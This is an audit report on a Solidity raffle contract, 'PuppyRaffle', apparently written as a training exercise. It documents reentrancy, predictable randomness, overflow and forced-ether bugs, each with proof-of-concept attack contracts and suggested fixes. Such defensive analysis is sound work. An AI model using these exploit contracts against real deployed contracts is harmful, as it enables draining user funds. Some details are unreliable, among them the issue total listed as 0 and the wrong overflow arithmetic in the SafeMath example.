

PuppyRaffle Audit Report

Version 1.0

Chornyι.io

July 26, 2024

Protocol Audit Report

Artem Chorny

July 26, 2024

Prepared by: Artem Chorny Lead Auditors: - Artem Chorny

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-01] Potential Loss of Funds During Prize Pool Distribution
 - * [H-02] Reentrancy Vulnerability In refund() function
 - * [H-03] Randomness can be gamed
 - * [H-04] `PuppyRaffle::refund` replaces an index with address(0) which can cause the function `PuppyRaffle::selectWinner` to always revert
 - * [H-05] Typecasting from uint256 to uint64 in `PuppyRaffle.selectWinner()` May Lead to Overflow and Incorrect Fee Calculation

- * [H-06] Overflow/Underflow vulnerability for any version before 0.8.0
- Medium
 - * [M-01] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless
 - * [M-02] Impossible to win raffle if the winner is a smart contract without a fallback function
- Low
 - * [L-01] Ambiguous index returned from `PuppyRaffle::getActivePlayerIndex(address)`, leading to possible refund failures
 - * [L-02] Participants are misled by the rarity chances.
 - * [L-03] Total entrance fee can overflow leading to the user paying little to nothing
- Informational
- Gas

Protocol Summary

This project is designed to enable participants to enter a raffle to win a cute dog NFT. The protocol ensures fairness and transparency by managing participants, handling refunds, and drawing a winner at regular intervals.

Disclaimer

The Artem Chorny team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact			
	High	Medium	Low
High	H	H/M	M

Impact				
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 0804be9b0fd17db9e2953e27e9de46585be870cf
```

Scope

```
1 ./src/  
2 |-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

The security audit for the Puppy Raffle was conducted to evaluate its security posture and identify potential vulnerabilities. This audit was performed by a dedicated team of one security researcher over the course of two day. The team conducted a thorough review, including manual code analysis and automated security testing tools, to ensure comprehensive coverage of potential security issues.

Issues found

Sevterity	Number of issues dound
High	6
Medium	2
Low	3
Info	0
Gas	0
Total	0

Findings

High

[H-01] Potential Loss of Funds During Prize Pool Distribution

Description: In the `selectWinner` function, when a player has refunded and their address is replaced with `address(0)`, the prize money may be sent to `address(0)`, resulting in fund loss.

In the `refund` function if a user wants to refund his money then he will be given his money back and his address in the array will be replaced with `address(0)`. So lets say `Alice` entered in the raffle and later decided to refund her money then her address in the `player` array will be replaced with `address(0)`. And lets consider that her index in the array is `7th` so currently there is `address(0)` at `7th index`, so when `selectWinner` function will be called there isn't any kind of check that this `7th index` can't be the winner so if this `7th index` will be declared as winner then all the prize will be sent to him which will actually lost as it will be sent to `address(0)`

Impact: Loss of funds if they are sent to `address(0)`, posing a financial risk.

Recommendations: Implement additional checks in the `selectWinner` function to ensure that prize money is not sent to `address(0)`

[H-02] Reentrancy Vulnerability In `refund()` function

Description: The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern

```
1 function refund(uint256 playerId) public {
```

```
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the
      player can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player
      already refunded, or is not active");
5
6     payable(msg.sender).sendValue(entranceFee);
7
8     players[playerIndex] = address(0);
9     emit RaffleRefunded(playerAddress);
10 }
```

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. a malicious contract could re-enter the refund function before the state is updated.

Impact: If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users.

```
1  PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross
   function reentrancies:
2  - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92)
3  - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol
   #110-117)
4  - PuppyRaffle.players (src/PuppyRaffle.sol#23)
5  - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105)
6  - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154)
```

POC

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.7.6;
3
4  import "./PuppyRaffle.sol";
5
6  contract AttackContract {
7      PuppyRaffle public puppyRaffle;
8      uint256 public receivedEther;
9
10     constructor(PuppyRaffle _puppyRaffle) {
11         puppyRaffle = _puppyRaffle;
12     }
13
14     function attack() public payable {
15         require(msg.value > 0);
16
17         // Create a dynamic array and push the sender's address
18         address[] memory players = new address[](1);
19         players[0] = address(this);
20     }
```

```
21     puppyRaffle.enterRaffle{value: msg.value}(players);
22 }
23
24 fallback() external payable {
25     if (address(puppyRaffle).balance >= msg.value) {
26         receivedEther += msg.value;
27
28         // Find the index of the sender's address
29         uint256 playerIndex = puppyRaffle.getActivePlayerIndex(
30             address(this));
31
32         if (playerIndex > 0) {
33             // Refund the sender if they are in the raffle
34             puppyRaffle.refund(playerIndex);
35         }
36     }
37 }
```

Recommendations: To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
4         refund");
5     require(playerAddress != address(0), "PuppyRaffle: Player already
6         refunded, or is not active");
7
8     // Update the state before sending Ether
9     players[playerIndex] = address(0);
10    emit RaffleRefunded(playerAddress);
11
12    // Now it's safe to send Ether
13    (bool success, ) = payable(msg.sender).call{value: entranceFee}("");
14    require(success, "PuppyRaffle: Failed to refund");
15 }
```

This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0). Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

[H-03] Randomness can be gamed

Description: The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element.

Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT.

Impact: Critical

POC

```
1 // SPDX-License-Identifier: No-License
2
3 pragma solidity 0.7.6;
4
5 interface IPuppyRaffle {
6     function enterRaffle(address[] memory newPlayers) external payable;
7
8     function getPlayersLength() external view returns (uint256);
9
10    function selectWinner() external;
11 }
12
13 contract Attack {
14     IPuppyRaffle raffle;
15
16     constructor(address puppy) {
17         raffle = IPuppyRaffle(puppy);
18     }
19
20     function attackRandomness() public {
21         uint256 playersLength = raffle.getPlayersLength();
22
23         uint256 winnerIndex;
24         uint256 toAdd = playersLength;
25         while (true) {
26             winnerIndex =
27                 uint256(
28                     keccak256(
29                         abi.encodePacked(
30                             address(this),
31                             block.timestamp,
32                             block.difficulty
33                         )
34                     )
35                 ) %
36                 toAdd;
37     }
```



```
38         if (winnerIndex == playersLength) break;
39         ++toAdd;
40     }
41     uint256 toLoop = toAdd - playersLength;
42
43     address[] memory playersToAdd = new address[](toLoop);
44     playersToAdd[0] = address(this);
45
46     for (uint256 i = 1; i < toLoop; ++i) {
47         playersToAdd[i] = address(i + 100);
48     }
49
50     uint256 valueToSend = 1e18 * toLoop;
51     raffle.enterRaffle{value: valueToSend}(playersToAdd);
52     raffle.selectWinner();
53 }
54
55 receive() external payable {}
56
57 function onERC721Received(
58     address operator,
59     address from,
60     uint256 tokenId,
61     bytes calldata data
62 ) public returns (bytes4) {
63     return this.onERC721Received.selector;
64 }
65 }
```

Recommendations: Use Chainlink's VRF to generate a random number to select the winner.

[H-04] `PuppyRaffle::refund` replaces an index with `address(0)` which can cause the function `PuppyRaffle::selectWinner` to always revert

Description

`PuppyRaffle::refund` is supposed to refund a player and remove him from the current players. But instead, it replaces his index value with `address(0)` which is considered a valid value by solidity. This can cause a lot of issues because the players array length is unchanged and `address(0)` is now considered a player.

```
1  players[playerIndex] = address(0);
2
3  @> uint256 totalAmountCollected = players.length * entranceFee;
4  (bool success,) = winner.call{value: prizePool}("");
5  require(success, "PuppyRaffle: Failed to send prize pool to winner");
6  _safeMint(winner, tokenId);
```

If a player refunds his position, the function `PuppyRaffle::selectWinner` will always revert. Because more than likely the following call will not work because the `prizePool` is based on a amount calculated by considering that that no player has refunded his position and exit the lottery. And it will try to send more tokens that what the contract has :

```
1 uint256 totalAmountCollected = players.length * entranceFee;
2 uint256 prizePool = (totalAmountCollected * 80) / 100;
3
4 (bool success,) = winner.call{value: prizePool}("");
5 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

However, even if this calls passes for some reason (maby there are more native tokens that what the players have sent or because of the 80%...). The call will thankfully still fail because of the following line is minting to the zero address is not allowed.

```
1 _safeMint(winner, tokenId);
```

Impact The lottery is stoped, any call to the function `PuppyRaffle::selectWinner` will revert. There is no actual loss of funds for users as they can always refund and get their tokens back. However, the protocol is shut down and will lose all it's customers. A core functionality is exposed. Impact is high

PoC To execute this test : `forge test -mt testWinnerSelectionRevertsAfterExit -vvvv`

```
1 function testWinnerSelectionRevertsAfterExit() public playersEntered {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     // There are four winners. Winner is last slot
6     vm.prank(playerFour);
7     puppyRaffle.refund(3);
8
9     // reverts because out of Funds
10    vm.expectRevert();
11    puppyRaffle.selectWinner();
12
13    vm.deal(address(puppyRaffle), 10 ether);
14    vm.expectRevert("ERC721: mint to the zero address");
15    puppyRaffle.selectWinner();
16
17 }
```

Recommendations Delete the player index that has refunded.

```
1 -   players[playerIndex] = address(0);
2
3 +   players[playerIndex] = players[players.length - 1];
4 +   players.pop()
```

[H-05] Typcasting from uint256 to uint64 in PuppyRaffle.selectWinner() May Lead to Overflow and Incorrect Fee Calculation**Description**

The type conversion from uint256 to uint64 in the expression 'totalFees = totalFees + uint64(fee)' may potentially cause overflow problems if the 'fee' exceeds the maximum value that a uint64 can accommodate ($2^{64} - 1$).

```
1      totalFees = totalFees + uint64(fee);
```

POC**Code**

```
1  function testOverflow() public {
2      uint256 initialBalance = address(puppyRaffle).balance;
3
4      // This value is greater than the maximum value a uint64 can
      hold
5      uint256 fee = 2**64;
6
7      // Send ether to the contract
8      (bool success, ) = address(puppyRaffle).call{value: fee}("");
9      assertTrue(success);
10
11     uint256 finalBalance = address(puppyRaffle).balance;
12
13     // Check if the contract's balance increased by the expected
      amount
14     assertEquals(finalBalance, initialBalance + fee);
15 }
```

In this test, assertTrue(success) checks if the ether was successfully sent to the contract, and assertEquals(finalBalance, initialBalance + fee) checks if the contract's balance increased by the expected amount. If the balance didn't increase as expected, it could indicate an overflow.

Impact This could consequently lead to inaccuracies in the computation of 'totalFees'.

Recommendations To resolve this issue, you should change the data type of totalFees from uint64 to uint256. This will prevent any potential overflow issues, as uint256 can accommodate much larger numbers than uint64. Here's how you can do it:

Change the declaration of totalFees from:

```
1  uint64 public totalFees = 0;
```

to:

```
1 uint256 public totalFees = 0;
```

And update the line where `totalFees` is updated from:

```
1 - totalFees = totalFees + uint64(fee);  
2 + totalFees = totalFees + fee;
```

This way, you ensure that the data types are consistent and can handle the range of values that your contract may encounter.

[H-06] Overflow/Underflow vulnerability for any version before 0.8.0

Description The PuppyRaffle.sol uses Solidity compiler version 0.7.6. Any Solidity version before 0.8.0 is prone to Overflow/Underflow vulnerability. Short example - a `uint8 x`; can hold 256 values (from 0 - 255). If the calculation results in `x` variable to get 260 as value, the extra part will overflow and we will end up with 5 as a result instead of the expected 260 (because $260 - 255 = 5$).

I have two example below to demonstrate the problem of overflow and underflow with versions before 0.8.0, and how to fix it using `safemath`:

Without `SafeMath`:

```
1 function withoutSafeMath() external pure returns (uint256 fee){  
2     uint8 totalAmountCollected = 20;  
3     fee = (totalAmountCollected * 20) / 100;  
4     return fee;  
5 }  
6 // fee: 1  
7 // WRONG!!!
```

In the above code, `without safeMath`, 20×20 (`totalAmountCollected * 20`) was 400, but 400 is beyond the limit of `uint8`, so after going to 255, it went back to 0 and started counting from there. So, $400 - 255 = 145$. 145 was the result of 20×20 in this code. And after dividing it by 100, we got 1.45, which the code showed as 1.

With `SafeMath`:

```
1 function withSafeMath() external pure returns (uint256 fee){  
2     uint8 totalAmountCollected = 20;  
3     fee = totalAmountCollected.mul(20).div(100);  
4     return fee;  
5 }  
6 // fee: 4  
7 // CORRECT!!!!
```

This code didn't suffer from Overflow problem. Because of the `safeMath`, it was able to calculate 20×20 as 400, and then divided it by 100, to get 4 as result.

Impact Depending on the bits assigned to a variable, and depending on whether the value assigned goes above or below a certain threshold, the code could end up giving unexpected results. This unexpected OVERFLOW and UNDERFLOW will result in unexpected and wrong calculations, which in turn will result in wrong data being used and presented to the users.

Recommendations Modify the code to include `SafeMath`:

1. First import `SafeMath` from `openzeppelin`:

```
1 import "@openzeppelin/contracts/math/SafeMath.sol";
```

2. then add the following line, inside `PuppyRaffle` Contract:

```
1 using SafeMath for uint256;
```

(can also add `safemath` for `uint8`, `uint16`, etc as per need)

3. Then modify the `require` inside `enterRaffle()` function:

```
1 - require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
   Must send enough to enter raffle");
2 + uint256 totalEntranceFee = newPlayers.length.mul(entranceFee);
3 + require(msg.value == totalEntranceFee, "PuppyRaffle: Must send enough
   to enter raffle");
```

3. Then modify variables (`totalAmountCollected`, `prizePool`, `fee`, and `totalFees`) inside `selectWinner()` function:

```
1 - uint256 totalAmountCollected = players.length * entranceFee;
2 + uint256 totalAmountCollected = players.length.mul(entranceFee);
3
4 - uint256 prizePool = (totalAmountCollected * 80) / 100;
5 + uint256 prizePool = totalAmountCollected.mul(80).div(100);
6
7 - uint256 fee = (totalAmountCollected * 20) / 100;
8 + uint256 fee = totalAmountCollected.mul(20).div(100);
9
10 - totalFees = totalFees + uint64(fee);
11 + totalFees = totalFees.add(fee);
```

This way, the code is now safe from Overflow/Underflow vulnerabilities.

Medium

[M-01] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function.

The withdraw function contains the following check:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows:

Add this contract above `PuppyRaffleTest`:

```
1 contract Kill {
2     constructor (address target) payable {
3         address payable _target = payable(target);
4         selfdestruct(_target);
5     }
6 }
```

Modify `setUp` as follows:

```
1     function setUp() public {
2         puppyRaffle = new PuppyRaffle(
3             entranceFee,
4             feeAddress,
5             duration
6         );
7         address mAlice = makeAddr("mAlice");
8         vm.deal(mAlice, 1 ether);
9         vm.startPrank(mAlice);
10        Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle));
11        vm.stopPrank();
12    }
```

Now run `testWithdrawFees()` - `forge test --mt testWithdrawFees` to get:

```
1 Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
2 [FAIL. Reason: PuppyRaffle: There are currently players active!]
   testWithdrawFees() (gas: 361718)
3 Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms
```

Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract.

Impact All fees that weren't withdrawn and all future fees are stuck in the contract.

Recommendations

Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it.

```
1 function withdrawFees() external {
2 --   require(address(this).balance == uint256(totalFees), "
   PuppyRaffle: There are currently players active!");
3   uint256 feesToWithdraw = totalFees;
4   totalFees = 0;
5   (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6   require(success, "PuppyRaffle: Failed to withdraw fees");
7 }
```

[M-02] Impossible to win raffle if the winner is a smart contract without a fallback function

Summary If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol.

The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program.

Impact The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function

Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in `enterRaffle` is a smart contract, if it is we revert the transaction.

We can easily implement this check into the function because of the `Address` library from `OpenZeppelin`.

I'll add this replace `enterRaffle()` with these lines of code:

```
1 function enterRaffle(address[] memory newPlayers) public payable {
2   require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
   Must send enough to enter raffle");
3   for (uint256 i = 0; i < newPlayers.length; i++) {
4     require(Address.isContract(newPlayers[i]) == false, "The players
   need to be EOAs");
5     players.push(newPlayers[i]);
6   }
7
8   // Check for duplicates
```

```
9     for (uint256 i = 0; i < players.length - 1; i++) {
10         for (uint256 j = i + 1; j < players.length; j++) {
11             require(players[i] != players[j], "PuppyRaffle: Duplicate
               player");
12         }
13     }
14
15     emit RaffleEnter(newPlayers);
16 }
```

Low

[L-01] Ambiguous index returned from `PuppyRaffle::getActivePlayerIndex(address)`, leading to possible refund failures

Summary The `PuppyRaffle::getActivePlayerIndex(address)` returns 0 when the index of this player's address is not found, which is the same as if the player would have been found in the first element in the array. This can trick calling logic to think the address was found and then attempt to execute a `PuppyRaffle::refund(uint256)`.

The `PuppyRaffle::refund()` function requires the index of the player's address to preform the requested refund.

```
1  /// @param playerId the index of the player to refund. You can find
    it externally by calling `getActivePlayerIndex`
2  function refund(uint256 playerId) public;
```

In order to have this index, `PuppyRaffle::getActivePlayerIndex(address)` must be used to learn the correct value.

```
1  /// @notice a way to get the index in the array
2  /// @param player the address of a player in the raffle
3  /// @return the index of the player in the array, if they are not
    active, it returns 0
4  function getActivePlayerIndex(address player) external view returns (
    int256) {
5      // find the index...
6      // if not found, then...
7      return 0;
8  }
```

The logic in this function returns 0 as the default, which is as stated in the `@return NatSpec`. However, this can create an issue when the calling logic checks the value and naturally assumes 0 is a valid index that points to the first element in the array. When the players array has at two or more players, calling

`PuppyRaffle::refund()` with the incorrect index will result in a normal revert with the message “PuppyRaffle: Only the player can refund”, which is fine and obviously expected.

On the other hand, in the event a user attempts to perform a `PuppyRaffle::refund()` before a player has been added the EvmError will likely cause an outrageously large gas fee to be charged to the user.

This test case can demonstrate the issue:

```
1 function testRefundWhenIndexIsOutOfBounds() public {
2     int256 playerIndex = puppyRaffle.getActivePlayerIndex(playerOne);
3     vm.prank(playerOne);
4     puppyRaffle.refund(uint256(playerIndex));
5 }
```

The results of running this one test show about 9 ETH in gas:

```
1 Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
2 [FAIL. Reason: EvmError: Revert] testRefundWhenIndexIsOutOfBounds() (
   gas: 9079256848778899449)
3 Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 914.01
  us
```

Additionally, in the very unlikely event that the first player to have entered attempts to preform a `PuppyRaffle::refund()` for another user who has not already entered the raffle, they will unwittingly refund their own entry. A scenario whereby this might happen would be if `playerOne` entered the raffle for themselves and 10 friends. Thinking that `nonPlayerEleven` had been included in the original list and has subsequently requested a `PuppyRaffle::refund()`. Accommodating the request, `playerOne` gets the index for `nonPlayerEleven`. Since the address does not exist as a player, 0 is returned to `playerOne` who then calls `PuppyRaffle::refund()`, thereby refunding their own entry.

Impact

1. Exorbitantly high gas fees charged to user who might inadvertently request a refund before players have entered the raffle.
2. Inadvertent refunds given based in incorrect `playerIndex`.

Recommendations

1. Ideally, the whole process can be simplified. Since only the `msg.sender` can request a refund for themselves, there is no reason why `PuppyRaffle::refund()` cannot do the entire process in one call. Consider refactoring and implementing the `PuppyRaffle::refund()` function in this manner:

```
1 /// @dev This function will allow there to be blank spots in the array
```

```

2 function refund() public {
3     require(!_isActivePlayer(), "PuppyRaffle: Player is not active");
4     address playerAddress = msg.sender;
5
6     payable(msg.sender).sendValue(entranceFee);
7
8     for (uint256 playerIndex = 0; playerIndex < players.length; ++
9         playerIndex) {
10         if (players[playerIndex] == playerAddress) {
11             players[playerIndex] = address(0);
12         }
13     }
14     delete existingAddress[playerAddress];
15     emit RaffleRefunded(playerAddress);
16 }

```

Which happens to take advantage of the existing and currently unused `PuppyRaffle::_isActivePlayer()` and eliminates the need for the index altogether.

- Alternatively, if the existing process is necessary for the business case, then consider refactoring the `PuppyRaffle::getActivePlayerIndex(address)` function to return something other than a `uint` that could be mistaken for a valid array index.

```

1 + int256 public constant INDEX_NOT_FOUND = -1;
2 + function getActivePlayerIndex(address player) external view
3   returns (int256) {
4 - function getActivePlayerIndex(address player) external view
5   returns (uint256) {
6     for (uint256 i = 0; i < players.length; i++) {
7         if (players[i] == player) {
8             return int256(i);
9         }
10    }
11    return 0;
12 + return INDEX_NOT_FOUND;
13 }
14
15 function refund(uint256 playerIndex) public {
16     require(playerIndex < players.length, "PuppyRaffle: No player
17     for index");
18 }

```

[L-02] Participants are misled by the rarity chances.

Summary The drop chances defined in the state variables section for the COMMON and LEGENDARY are misleading.

The 3 rarity scores are defined as follows:

```
1      uint256 public constant COMMON_RARITY = 70;
2      uint256 public constant RARE_RARITY = 25;
3      uint256 public constant LEGENDARY_RARITY = 5;
```

This implies that out of a really big number of NFT's, 70% should be of common rarity, 25% should be of rare rarity and the last 5% should be legendary. The `selectWinners` function doesn't implement these numbers.

```
1      uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender,
2      block.difficulty))) % 100;
3      if (rarity <= COMMON_RARITY) {
4      tokenIdToRarity[tokenId] = COMMON_RARITY;
5      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
6      tokenIdToRarity[tokenId] = RARE_RARITY;
7      } else {
8      tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
```

The `rarity` variable in the code above has a possible range of values within [0;99] (inclusive) This means that `rarity <= COMMON_RARITY` condition will apply for the interval [0:70], the `rarity <= COMMON_RARITY + RARE_RARITY` condition will apply for the [71:95] rarity and the rest of the interval [96:99] will be of `LEGENDARY_RARITY`

The [0:70] interval contains 71 numbers (70 - 0 + 1)

The [71:95] interval contains 25 numbers (95 - 71 + 1)

The [96:99] interval contains 4 numbers (99 - 96 + 1)

This means there is a 71% chance someone draws a COMMON NFT, 25% for a RARE NFT and 4% for a LEGENDARY NFT.

Impact Depending on the info presented, the raffle participants might be lied with respect to the chances they have to draw a legendary NFT.

Recommendations

Drop the = sign from both conditions:

```
1  --      if (rarity <= COMMON_RARITY) {
2  ++      if (rarity < COMMON_RARITY) {
3          tokenIdToRarity[tokenId] = COMMON_RARITY;
4  --      } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
5  ++      } else if (rarity < COMMON_RARITY + RARE_RARITY) {
6          tokenIdToRarity[tokenId] = RARE_RARITY;
7      } else {
8          tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
9      }
```

[L-03] Total entrance fee can overflow leading to the user paying little to nothing

Summary Calling `PuppyRaffle::enterRaffle` with many addresses results in the user paying a very little fee and gaining an unproportional amount of entries.

`PuppyRaffle::enterRaffle` does not check for an overflow. If a user inputs many addresses that multiplied with `entranceFee` would exceed `type(uint256).max` the checked amount for `msg.value` overflows back to 0.

```
1 function enterRaffle(address[] memory newPlayers) public payable {
2   => require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
    Must send enough to enter raffle");
3   ...
```

To see for yourself, you can paste this function into `PuppyRaffleTest.t.sol` and run `forge test --mt testCanEnterManyAndPayLess`.

```
1 function testCanEnterManyAndPayLess() public {
2   uint256 entranceFee = type(uint256).max / 2 + 1; // half of max
    value
3   puppyRaffle = new PuppyRaffle(
4     entranceFee,
5     feeAddress,
6     duration
7   );
8
9   address[] memory players = new address[](2); // enter two
    players
10  players[0] = playerOne;
11  players[1] = playerTwo;
12
13  puppyRaffle.enterRaffle{value: 0}(players); // user pays no fee
14 }
```

This solidity test provides an example for an `entranceFee` that is slightly above half the max `uint256` value. The user can input two addresses and pay no fee. You could imagine the same working with lower base entrance fees and a longer address array.

Impact This is a critical high-severity vulnerability as anyone could enter multiple addresses and pay no fee, gaining an unfair advantage in this lottery. Not only does the player gain an advantage in the lottery. The player could also just refund all of his positions and gain financially.

Recommendations Revert the function call if `entranceFee * newPlayers.length` exceeds the `uint256` limit. Using openzeppelin's SafeMath library is also an option. Generally it is recommended to use a newer solidity version as over-/underflows are checked by default in `solidity >=0.8.0`.

Informational

Gas